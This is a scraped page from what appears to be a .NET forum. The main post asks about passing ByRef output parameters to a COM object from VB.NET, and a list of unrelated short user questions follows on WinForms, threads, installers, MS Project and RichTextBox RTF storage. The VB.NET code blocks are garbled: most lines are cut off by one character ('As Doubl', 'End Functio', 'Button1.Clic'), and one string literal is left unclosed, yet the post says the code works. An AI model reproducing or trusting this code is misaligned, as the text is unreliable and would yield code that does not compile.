The following code works well in VB.NET
----------------------------------------------------
Public Function AddNumbers(ByVal NumberOne As Double,
ByVal NumberTwo As Double, ByRef note As String)
As Doubl
AddNumbers = NumberOne + NumberTw
note = "Hello,I'm a calculator.
End Functio
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Clic
Dim s1 As Objec
MsgBox(AddNumbers(7, 8, s1)
MsgBox(s1
End Su
----------------------------------------------------
But if the called function is in a COM object,using the calling code,just like that in Button1_Click() in VB.NET,will cause exception
In VB.NET,adding a reference to the COM dll,the calling code must be modified like this
------------------------------------------------------------
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Clic
Dim obj As new MyComClas
Dim s1 As string="
MsgBox(obj.AddNumbers(7, 8, s1)
MsgBox(s1
End Su
-------------------------------------------------------------
the critical difference is the declaration on variable s1.If not declaring it as a specific type and not assigning it a explicit value,the calling will fail
AS it is a output parameter,it seems not necessary to pass in a specific value,moreover,it will be more convinent if it can be passed in a object variable.In some case,the calling procedure can not declare the s1 variable as the corresponding date type to that in the declaration of the function
Is there anyone point out a solution to this
An early is appreciated
Best regards
Mary.
- 3
- Winforms >> Get Parent Collection?I have a UserControl with a public ArrayList as a property. I want to
use the ArrayList from the parent form, if it exists. How can I do
that?
Thanks.
- 4
- Net Framework >> Thead APIsSo the .NET Thread class has a name property but the ProcessThread class
does not. And the ProcessThread class has an id property but the .NET
Thread class does not. That's just strange. You can get the thread id from
AppDomain.GetCurrentThreadId() but it seems logical that it would be
accessible through the Thread class.
I created a bare-bones Console C# app. and listed the process threads using
GetCurrentProcess().Threads. There were like 5 or 7 threads created! What
are all those threads for?
- 5
- 6
- Dotnet >> Problem Installing .NET 2003I have just opened and tried installing .NET 2003 after uninstalling Visual
Studio Express .NET 2005. It goes to item 1 - checking for necessary
components. I hav gone to Windows Update - every time it says that there is
an Office Service Pack 2 update, which I have installed at least 5 times
(every time I go to the Windows Update) and all of them say that to install
was successful. I have used the Prerequisites Discnd done all of the steps,
but no matter what I do I can' get past step 1 ????
Any suggestions.
--
Gus Evans
- 7
- Dotnet >> Running a Windows APP from ASPX pageIs it possible to execute a C# Windows app from an ASPX (C#) web application.
My app runs over the Intranet and on one page I want to run a C# program
which does some things I can't do from the web.
The program runs (via a javascript) like this:
Page.RegisterStartupScript("xx","<script>windows.href=abc.exe</script>")
The program runs, but when I exit and return to the Web App, I get a CGI
Error.
CGI Application misbehaved. Something about incomplete HTTP headers.
Is there a way around this? A better way to launch the program?
Thanks.
- 8
- Dotnet >> Class NameI have a class that is derived from the IMessageSink
interface. In the SyncProcessMessage i want to get the
class name of the method invoked. How is it possible?
- 9
- Microsoft Project >> CompletionWhat is meant by % of complete, % of work complete,Physical % complete in ms
project 2003. what is the difference between this? can anyone help for this.
thnks in advance.
- 10
- 11
- Microsoft Project >> File will not open!?I have been sent a .mpp file that I can not open with my Project 2007
version....
Error message: Microsoft Project cannot recognize this file format
Any ideas?
Thanks,
Tom
- 12
- Dotnet >> RichTextControl Rtf propertyI have an application that simply reads the text in a RichTextBox control, and stores the text into the database. I want to use the plain RichTextBox control and not a database rtf control.
When I read the Rtf property it returns the text combined with rft codes, e.g.:
"{\\rtf1 ....... \r\0"
I then store this text in my Access database via an OdbcCommand. When I read the text back from the database, the returned text is @-quoted as follows:
@"{\\rtf1 ....... \r\0"
When I try to set the RichTextControl Rtf property with the value from the database an exception is thrown.
It would appear that the Rtf property cannot accept @-quoted values (e.g. a value of
@"This is a test"
will cause an error.
How can I work around this problem while still using the RichTextControl in the scheme above.
- 13
- Dotnet >> Play an MP3I am writing a visual basic program, and I want to add something where a MP3
plays when a user clicks a button. Can this be done?
- 14
- 15
- Dotnet >> backup to dvd from cdsI have .net 2002 and just bought a dvd writer. I was wondering how I could
backup all of the discs onto a single dvd. I have found one method for
2003. Basically, you edit the disc names in the setup.msi program to read
the name of the dvd rather than the indivual names of the cds. Is this a
reasonable method? Is there anything else that I might need to know. I
will probably give it a try on a rewritable. I just thought that maybe
someone else has already done this and may have some tips. It seems as if
it should be much easier than going from dvd to cds which may be nearly
impossible.
|
|
|